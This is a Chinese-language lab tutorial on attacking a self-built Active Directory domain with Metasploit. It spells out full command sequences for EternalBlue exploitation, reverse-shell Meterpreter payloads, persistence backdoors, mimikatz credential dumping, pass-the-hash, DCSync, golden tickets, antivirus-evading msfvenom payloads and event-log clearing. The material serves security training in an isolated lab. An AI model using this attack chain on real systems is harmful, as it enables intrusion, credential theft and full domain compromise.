基于Metasploit的内网渗透实战:从外网突破到域控攻陷
1. 项目概述从零构建你的第一个内网攻防沙盒如果你对网络安全、渗透测试感兴趣尤其是听到“内网渗透”、“红队”、“域环境”这些词时既感到兴奋又觉得无从下手那么你找对地方了。这个项目就是一个为你量身打造的、基于Metasploit框架的“内网靶场-1”。它不是一个简单的漏洞复现环境而是一个模拟了真实企业内网核心架构——Active Directory活动目录域的完整攻防演练场。在这里你将从一个只有基础Kali Linux知识的“小白”开始亲手搭建靶场使用Metasploit这个“瑞士军刀”一步步完成从外网突破到内网横向移动直至最终控制整个域Domain的全过程。我见过太多朋友学了一堆零散的工具命令看了无数个独立的漏洞利用视频但一到自己动手面对一个稍微复杂点的网络环境就懵了。问题出在哪缺乏一个连贯的、有明确目标的实战场景。这个靶场项目要解决的正是这个问题。它把内网渗透中那些核心的、环环相扣的技术点比如初始访问、权限提升、信息收集、横向移动、凭证窃取、域控攻陷串成了一条清晰的主线。通过复现这个靶场你不仅能学会Metasploit的基本操作更能深刻理解内网渗透的底层逻辑和攻击链Attack Chain思维。无论你是想入门安全行业的学生还是希望提升实战能力的运维、开发人员收藏并实践这一篇足以帮你打通从“知道”到“做到”的任督二脉。2. 靶场环境设计与核心思路拆解2.1 为什么选择“域环境”作为靶场核心在真实的企业、政府机构网络中Windows活动目录域几乎是标准配置。域的核心是一台或多台域控制器Domain Controller, DC它集中管理着域内所有用户、计算机的账户和权限。攻陷域控制器就意味着拿到了整个网络的“皇冠”可以访问任何资源、创建任意账户。因此内网渗透的终极目标往往是域控。我们的靶场必须模拟这个核心场景否则练了也是“花架子”。这个靶场的设计思路是构建一个最小化的、但功能完整的域环境。通常包括一台域控制器DC安装Windows Server系统如2012 R2, 2016并提升为域控制器创建域例如lab.local。一台域成员服务器Member Server同样使用Windows Server将其加入上面创建的域。这台机器通常承载着一些业务应用如Web服务器、文件服务器是我们从外网首先能接触到的“跳板”。一台攻击机Attacker使用Kali Linux模拟外部攻击者。它和靶机处于同一虚拟网络但初始没有任何权限。攻击链路非常经典攻击者Kali - 攻击域成员服务器 - 在成员服务器上获取立足点 - 收集域内信息 - 横向移动到其他主机包括域控 - 最终攻陷域控。整个流程我们将主要依赖Metasploit来完成。2.2 工具选型为何是Metasploit对于初学者乃至中级红队人员Metasploit Framework (MSF) 都是无可替代的入门和核心工具。选择它作为本靶场的主武器理由如下集成度极高从漏洞扫描、利用到生成载荷Payload、建立会话Session再到后渗透Post-Exploitation模块信息收集、提权、横向移动全部在一个框架内完成。你不需要在多个工具间来回切换降低了学习成本。模块化设计它的use、set、run命令模式非常清晰。攻击的每一个步骤Exploit, Payload, Post模块都是一个独立的模块这种结构让你能清晰地理解攻击链的每一个环节。强大的后渗透能力这是MSF对于内网渗透最价值的部分。内置的meterpretershell和大量的post模块如hashdump,kiwi/mimikatz,portscan等能让你在拿到一个shell后轻松地进行内网侦察和横向移动。社区与资源丰富作为最流行的渗透测试框架其教程、文章、模块更新都非常活跃遇到问题很容易找到解决方案。注意Metasploit是强大的安全工具仅限在你自己搭建的、完全隔离的实验室环境如本靶场中使用。未经授权对任何非自有系统进行测试都是非法且不道德的。2.3 靶机配置与网络规划为了确保实验可复现我们需要明确软硬件配置。我强烈建议使用虚拟机软件VMware Workstation或VirtualBox来搭建整个环境方便做快照和重置。攻击机 (Kali Linux)系统Kali Linux 最新版预装了Metasploit。网络NAT模式用于上网更新工具 Host-Only或自定义私有网络用于连接靶场。这里我们主要用到一个仅主机Host-Only网络例如VMnet1网段192.168.1.0/24。将Kali的其中一块网卡连接到此网络。内存2GB 硬盘20GB。域成员服务器 (Windows Server 2012 R2 / 2016)系统Windows Server 2012 R2 或 2016评估版即可。角色先作为独立服务器安装后续加入域。需要安装一个存在已知漏洞的软件或服务作为“入口点”例如一个存在漏洞的Web应用如DVWA、一个旧版本的FTP服务或者最简单直接的——关闭Windows防火墙并开启一些有漏洞的端口如SMBv1对应的445端口用于模拟永恒之蓝漏洞。我们这里为了教学通用性假设它存在一个可通过MSF直接利用的SMB漏洞。网络连接到与Kali相同的Host-Only网络VMnet1。IP手动设置为静态例如192.168.1.10。内存2GB 硬盘40GB。域控制器 (Windows Server 2012 R2 / 2016)系统Windows Server 2012 R2 或 2016。角色安装Active Directory域服务并创建新林和新域例如域名为lab.local。这台机器将是域的管理中心。网络同样连接到Host-Only网络VMnet1。IP手动设置为静态例如192.168.1.100。DNS服务器应指向自己127.0.0.1或192.168.1.100。内存2GB 硬盘40GB。网络拓扑图逻辑[ Kali Linux (攻击机) ] - IP: 192.168.1.5 | [ Host-Only Network (VMnet1: 192.168.1.0/24) ] | [ Win-Server (成员服务器) ] - IP: 192.168.1.10 | 主机名: WEB-SRV | 域: lab.local (后续加入) | [ Win-DC (域控制器) ] - IP: 192.168.1.100 | 主机名: DC01 | 域名: lab.local这个简单的三机环境已经包含了内网渗透的基本要素边界点成员服务器、内网环境域网络、核心目标域控制器。3. 从外网到内网初始访问与立足点建立3.1 信息收集与漏洞扫描攻击的第一步永远是信息收集。在Host-Only网络中我们的Kali (192.168.1.5) 需要发现目标。主机发现# 使用nmap进行ARP扫描发现同一网段内存活主机 sudo nmap -sn 192.168.1.0/24这个命令会列出192.168.1.1到192.168.1.254中所有在线的主机。你应该能看到192.168.1.10成员服务器和192.168.1.100域控制器。端口与服务扫描# 对发现的成员服务器进行详细端口扫描和服务识别 sudo nmap -sV -sC -O -p- 192.168.1.10-sV探测服务版本-sC使用默认脚本扫描-O探测操作系统-p-扫描所有65535个端口。这个过程可能需要几分钟。 假设扫描结果显示192.168.1.10开放了445/tcp(SMB) 端口并且SMB版本存在漏洞如MS17-010永恒之蓝。这就是我们的潜在入口。3.2 利用Metasploit进行漏洞利用现在我们有了明确的目标和漏洞是时候启动Metasploit了。启动MSF并搜索模块# 启动Metasploit控制台 msfconsole # 在msf6 提示符下搜索与ms17-010相关的模块 search ms17-010你会看到多个模块包括辅助扫描模块(auxiliary/scanner/smb/smb_ms17_010)和利用模块(exploit/windows/smb/ms17_010_eternalblue)。我们先用辅助模块确认漏洞。漏洞验证use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.1.10 run如果目标存在漏洞模块会显示VULNERABLE。确认后我们就可以使用利用模块了。配置并执行攻击use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.10 # 设置Payload。我们选择meterpreter reverse_tcp这是一种功能强大的反向shell。 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.5 # 攻击机Kali的IP set LPORT 4444 # 监听端口可自定义 # 可选设置目标类型自动检测通常可行 # set target 0 run如果一切顺利你会看到Meterpreter session X opened的提示这意味着你已经成功在目标服务器上执行了代码并建立了一个反向连接回你的Kali的Meterpreter会话。恭喜你获得了在目标系统上的第一个立足点实操心得在实际环境中像永恒之蓝这种“大杀器”漏洞很少见了但作为入门教学它稳定、可靠能让你快速体验完整的利用流程。重点是理解use、set、run这个工作流。未来你会用到更多样的漏洞流程是相通的。3.3 Meterpreter基础与权限巩固成功建立的Meterpreter会话是一个功能丰富的交互式shell。我们首先进行一些基本操作和权限提升。会话管理与基础命令# 列出所有活跃会话 sessions -l # 进入指定会话假设是session 1 sessions -i 1 # 在meterpreter 提示符下获取系统信息 sysinfo # 查看当前用户权限 getuidgetuid返回的可能是类似NT AUTHORITY\SYSTEM最高权限或一个普通用户如LAB\webadmin。如果是普通用户我们需要提权。权限提升提权# 在meterpreter会话中尝试使用内置的提权模块 getsystemgetsystem命令会尝试多种技术如令牌窃取、命名管道模拟等来将权限提升至SYSTEM。如果成功再次运行getuid会显示NT AUTHORITY\SYSTEM。 如果getsystem失败我们可以使用MSF的后渗透模块来寻找本地提权漏洞# 返回MSF控制台在后台运行session background # 搜索提权模块 search suggester use post/multi/recon/local_exploit_suggester set SESSION 1 run这个模块会分析目标系统给出可能成功的本地提权利用建议。你可以根据建议选择相应的exploit/windows/local/...模块设置SESSION为当前会话后运行来尝试提权。权限巩固与持久化 拿到SYSTEM权限后为了确保即使目标重启也不会丢失访问权限我们需要建立持久化后门。# 在meterpreter会话中运行persistence脚本 run persistence -X -i 30 -p 443 -r 192.168.1.5-X系统启动时自动连接。-i 30每30秒尝试连接一次。-p 443连接回Kali的443端口通常防火墙不会阻止。-r 192.168.1.5你的Kali IP。 执行后脚本会在目标机器上创建一个注册表项或计划任务实现自启动。同时你需要在MSF中开启一个对应的监听器exploit/multi/handler来等待连接。4. 内网横向移动与信息收集4.1 内网侦察与拓扑探测现在我们已经是一台域成员服务器WEB-SRV上的SYSTEM了。下一步就是摸清内网环境寻找域控和其他有价值的主机。基础网络信息收集# 在meterpreter会话中 ipconfig /all # 查看网络配置确认DNS服务器通常是域控 route print # 查看路由表 arp -a # 查看ARP缓存发现同一网段其他主机这些命令能帮你快速了解当前主机所在的网络结构。使用MSF模块进行内网扫描 由于我们已经在目标内网中可以利用这个“跳板”来扫描其他网段。Meterpreter提供了portscan模块。# 在meterpreter中加载portscan run post/multi/manage/autoroute # 添加路由让MSF知道通过当前会话可以访问192.168.1.0/24网段 run autoroute -s 192.168.1.0/24 # 返回MSF后台使用内置扫描器通过这个会话进行扫描 background use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.1.100 # 扫描域控 set PORTS 445,53,88,389,636 # 扫描域控常见端口SMB, DNS, Kerberos, LDAP set SESSION 1 run确认域控制器192.168.1.100开放了这些关键端口。域内信息收集 这是内网渗透的重头戏。我们需要知道域里有什么用户、计算机、组策略等。# 返回meterpreter会话 sessions -i 1 # 加载mimikatz扩展kiwi这是获取凭证的神器 load kiwi # 获取当前系统的所有登录凭证哈希值 lsa_dump_sam # 尝试转储内存中的明文密码需要特定条件 lsa_dump_secrets # 或者使用更通用的命令获取哈希 hashdumphashdump获取的是本地SAM数据库的哈希对于域成员机可能只包含本地用户。要获取域用户哈希通常需要SYSTEM权限下使用kiwi模块的lsa_dump_secrets或等待抓取域登录的令牌。4.2 凭证窃取与传递攻击在内网中密码哈希Hash往往比明文密码更有用因为它们可以用于“传递攻击”Pass-the-Hash, PtH。抓取哈希与令牌 除了上述hashdump和kiwi还可以尝试抓取内存中的访问令牌Token这有时能直接获得域管理员权限。# 在meterpreter中列出进程 ps # 找到一个以域管理员身份运行的进程PID例如explorer.exe可能以域用户运行 # 迁移到该进程假设PID为1234 migrate 1234 # 迁移后再次尝试使用kiwi抓取凭证成功率可能更高 kiwi_cmd privilege::debug kiwi_cmd sekurlsa::logonpasswords如果成功你可能会看到域管理员如LAB\Administrator的NTLM哈希甚至明文密码。传递哈希攻击 假设我们抓取到了域管理员Administrator的NTLM哈希aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4。我们可以用这个哈希直接验证到域控或其他域成员机器上而无需知道明文密码。# 在MSF控制台使用psexec模块进行PtH攻击目标是域控 use exploit/windows/smb/psexec set RHOSTS 192.168.1.100 set SMBUser Administrator set SMBPass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 # 格式为 LMHash:NTLMHash如果LMHash为空就用32个0代替前一部分 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.5 set LPORT 5555 # 换一个监听端口 run如果域控的445端口可访问且防火墙规则允许并且抓取的哈希有效这个攻击将直接在域控上建立一个Meterpreter会话。这是内网横向移动最有效的手段之一。4.3 其他横向移动技术如果PtH不成功或者你想尝试其他方法MSF还提供了多种选择。利用WMI执行命令 WMIWindows管理规范是管理Windows的强大接口也可以被用于远程执行命令。use exploit/windows/smb/wmi_exec set RHOST 192.168.1.100 set SMBDomain LAB # 域名 set SMBUser Administrator set SMBPass MyPassword123! # 或者使用哈希 set PAYLOAD windows/x64/meterpreter/bind_tcp # 因为是从内网发起到目标的连接可以用bind set LPORT 4444 run利用计划任务 通过SMB或WinRM创建远程计划任务来执行Payload。use exploit/windows/smb/smb_delivery set SRVHOST 192.168.1.5 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.5 exploit -j # 生成一个UNC路径的命令在目标机器上执行此命令即可触发你需要通过某种方式如钓鱼、已有shell执行命令让目标机运行生成的命令。注意事项横向移动时流量可能会经过目标网络中的安全设备如IDS/IPS。尽量使用常见的协议和端口如SMB over 445, WMI over 135并考虑使用bind_tcp载荷从目标向外连接而非reverse_tcp连接回攻击机以减少出网流量引起的怀疑。同时时间选择也很重要在业务低峰期进行。5. 攻陷域控制器与权限维持5.1 定位与攻击域控通过前面的横向移动我们可能已经获得了域控制器DC01的Meterpreter会话。如果没有继续尝试使用收集到的凭证哈希通过PsExec、WMI等方式攻击192.168.1.100。一旦进入域控我们的目标就变成了获取域内最高权限的证明——域管理员哈希并可能导出整个域的认证数据库NTDS.dit。确认域控身份与权限# 在域控的meterpreter会话中 sysinfo # 查看主机名、系统版本确认是DC getuid # 确认当前权限最好是SYSTEM # 运行一个简单的域查询命令 shell net group Domain Admins /domain exit这条命令会列出所有域管理员账户。转储域哈希NTDS.dit 这是内网渗透的“皇冠宝石”。NTDS.dit文件存储在域控的C:\Windows\NTDS\目录下但运行时被系统锁定。我们需要特殊方法转储。# 加载kiwi load kiwi # 使用kiwi的dcsync功能模拟域控制器同步请求直接向域控索取指定用户的哈希 dcsync_ntlm lab.local\administrator这个命令会返回域管理员Administrator的NTLM哈希。要获取所有域用户的哈希传统方法是在SYSTEM权限下创建卷影副本Volume Shadow Copy来复制NTDS.dit文件然后导出。MSF有自动化模块# 返回MSF后台 background use post/windows/gather/ntds_grabber set SESSION [域控的session id] set RHOST 192.168.1.100 run这个模块会尝试使用卷影拷贝技术获取NTDS.dit和SYSTEM注册表配置单元然后下载到攻击机最后使用secretsdump.py来自Impacket工具套件之类的工具离线破解哈希。注意这个过程会产生大量磁盘I/O和网络流量在真实环境中极易触发告警。5.2 黄金票据与权限维持拿到域管理员哈希特别是krbtgt用户的哈希后我们可以制作“黄金票据”Golden Ticket这是一种可以伪造任意域用户身份包括域管理员的Kerberos票据允许我们在域内进行持久、隐蔽的访问。获取关键信息 制作黄金票据需要域名lab.local域SID可以通过shell执行whoami /user或wmic useraccount get name,sid查看一个域用户的SID然后去掉末尾的-RID如-500部分。krbtgt用户的NTLM哈希这是最关键的材料。使用dcsync_ntlm获取dcsync_ntlm lab.local\krbtgt。要伪造的用户名比如administrator。在MSF中生成黄金票据# 在域控或任何有域用户哈希的会话中使用kiwi生成票据 load kiwi # 假设我们已获取以下信息 # 域名: lab.local # 域SID: S-1-5-21-123456789-1234567890-123456789 # krbtgt哈希: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx golden_ticket_create -d lab.local -k xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -s S-1-5-21-123456789-1234567890-123456789 -u administrator -t /root/golden.ticket这个命令会在攻击机Kali的/root/目录下生成一个名为golden.ticket的票据文件。使用黄金票据 在另一个已经建立的、权限较低的域成员会话中可以注入这个黄金票据从而提升权限。# 在目标成员机的meterpreter会话中 load kiwi kerberos_ticket_use /root/golden.ticket # 票据注入后尝试访问域控的C$共享 shell dir \\DC01.lab.local\c$如果成功列出目录说明黄金票据生效你现在拥有了域管理员权限。黄金票据的有效期默认是10年提供了极其持久的后门。5.3 清理痕迹与防御规避在完成所有攻击动作后为了延长隐蔽时间需要进行简单的痕迹清理。清除日志# 在meterpreter中清除Windows事件日志需管理员权限 clearev注意clearev命令会清除全部日志这在真实攻防演练中是一个危险动作会立刻引起蓝队防御方的警觉。更隐蔽的做法是选择性删除或伪造特定日志条目但这需要更高级的技术。删除持久化后门 如果你使用了persistence脚本它会告诉你创建了哪些文件、注册表项或计划任务。你需要手动删除它们。# 例如如果是通过注册表Run键实现的持久化 reg deleteval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v [你的后门值名称] # 删除磁盘上的后门文件 rm C:\\Windows\\Temp\\[后门文件].exe关闭会话# 在meterpreter中退出 exit # 或者在MSF控制台中关闭会话 sessions -k [session id]重要提醒以上所有攻击技术仅用于在自己完全控制的靶场环境中进行学习、研究和授权下的安全测试。在真实网络中使用这些技术攻击他人系统是严重的违法行为。6. 常见问题与排查技巧实录在搭建和演练这个靶场的过程中你几乎一定会遇到各种问题。下面是我总结的一些常见坑点和解决方法。6.1 靶场环境搭建问题问题1虚拟机之间无法互相ping通。排查检查所有虚拟机的网卡是否连接到同一个虚拟网络如VMnet1。在每台虚拟机内用ipconfig或ifconfig确认IP地址是否在同一网段如192.168.1.x。关闭所有虚拟机的防火墙初期为排除干扰。解决确保虚拟网络编辑器中的Host-Only网络配置正确且未启用DHCP冲突。手动设置静态IP更可靠。问题2Windows Server提升为域控制器失败。排查确保服务器有静态IP且DNS服务器指向自己127.0.0.1。检查服务器名是否合规不要有特殊字符。内存是否足够建议2GB以上。解决在“服务器管理器”中添加“Active Directory域服务”角色后务必通过弹出的旗帜通知来完成“域服务配置”而不是在角色页面直接操作。如果失败查看系统事件日志获取具体错误代码。问题3域成员服务器无法加入域。排查确保能ping通域控制器192.168.1.100和域名lab.local。在成员服务器上将DNS服务器地址设置为域控制器的IP192.168.1.100。解决使用具有域管理员权限的账户如LAB\Administrator在加入域时进行认证。确保网络配置文件为“专用网络”。6.2 Metasploit利用阶段问题问题4exploit/windows/smb/ms17_010_eternalblue运行后崩溃或失败。排查首先用auxiliary/scanner/smb/smb_ms17_010模块确认漏洞是否存在。检查目标系统是否为64位Windows 7/Server 2008 R2等受影响版本。某些虚拟机快照或系统状态可能导致利用不稳定。解决尝试更换Payload例如从windows/x64/meterpreter/reverse_tcp换成windows/x64/shell/reverse_tcp。或者换用其他MS17-010利用模块如exploit/windows/smb/ms17_010_psexec。最根本的解决方法是确保靶机系统是纯净的、受影响的版本。问题5Meterpreter会话建立后立即断开。排查这通常是杀毒软件或Windows Defender实时防护导致的。Payload被识别并杀掉了。解决在靶机上临时禁用Windows Defender实时保护仅限实验环境。或者使用MSF的msfvenom工具生成编码或加密的Payload并配合template选项来绕过基础检测。例如msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.1.5 LPORT4444 -f exe -e x64/shikata_ga_nai -i 5 -x /usr/share/windows-resources/binaries/plink.exe -o backdoor.exe但请注意这只是一个基础绕过对于现代EDR可能无效。问题6hashdump或kiwi命令无法获取哈希。排查权限不足是最常见原因。即使getuid显示SYSTEM在某些系统如Win10/Server 2016上受Credential Guard等安全特性影响也需要先绕过LSA保护。解决尝试使用getsystem提权。如果已经是SYSTEM还不行在meterpreter中运行run post/windows/manage/enable_rdp然后尝试用kiwi的lsa_dump_sam。也可以尝试迁移到lsass.exe进程PID通常为几百后再执行migrate lsass_pid然后load kiwilsa_dump_sam。6.3 横向移动与域渗透问题问题7传递哈希攻击PsExec失败提示“登录失败”。排查原因可能很多1) 目标主机如域控的Admin$共享访问被限制2) 使用的用户不在目标机器的本地管理员组中3) 防火墙阻止了445或135端口4) 哈希已过期或错误5) 目标系统如Win10/Server 2016默认禁止了PtH需要修改注册表HKLM\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin为0但这会留下明显痕迹。解决首先用crackmapexec等工具验证凭证有效性crackmapexec smb 192.168.1.100 -u Administrator -H aad3b...。如果凭证有效但PsExec不行尝试WMI (wmi_exec) 或计划任务 (smb_delivery) 等其他横向移动方式。问题8dcsync_ntlm命令没有返回哈希。排查当前权限可能不是真正的SYSTEM或者域控制器上的相关服务NTDS运行异常。Credential Guard也会阻止DCSync。解决确保会话是通过域管理员凭证或SYSTEM权限在域控制器上建立的。可以尝试先获取一个交互式shell (shell)然后使用Windows原生命令ntdsutil来手动转储但这更复杂且动静大。在实验环境中最稳妥的方法是确保靶场域控是Server 2012 R2并且未启用Credential Guard等高级安全功能。问题9黄金票据注入后访问域控资源仍然被拒绝。排查检查生成黄金票据时使用的域SID和krbtgt哈希是否正确。票据是否成功注入使用kiwi_cmd kerberos::list查看。系统时间是否与域控同步Kerberos协议对时间敏感偏差不能超过5分钟。解决在Kali上使用date命令查看时间如果与Windows域时间不同步可以用ntpdate同步到域控sudo ntpdate 192.168.1.100。重新生成并注入票据。6.4 通用技巧与建议多用help命令在MSF或Meterpreter中任何模块下输入help可以查看所有可用命令和选项。善用search功能在MSF中search是你最好的朋友。比如search portscansearch persistence。后台与会话管理使用background将活跃会话放到后台使用sessions -l查看sessions -i [id]交互。这允许你同时管理多个目标。记录与文档养成好习惯用文本文件记录每一步使用的命令、目标的IP、获得的用户名/哈希、遇到的错误和解决方案。这对于复现和排查问题至关重要。快照是你的朋友在虚拟机关键步骤如刚装好系统、加入域前、攻陷某个点后创建快照。一旦实验出错可以快速回滚节省大量时间。这个靶场项目就像一张精细的“攻击地图”带你走完了从外网突破到掌控整个内网域的标准流程。每个步骤背后都对应着真实攻防中广泛使用的技术和思路。我建议你不要止步于一次成功的复现。尝试变化如果第一个入口点不是SMB漏洞而是一个Web漏洞呢如果域控开启了更强的防护如Credential Guard呢如果内网有多个网段呢基于这个基础框架去探索、去试错你才能真正把知识内化。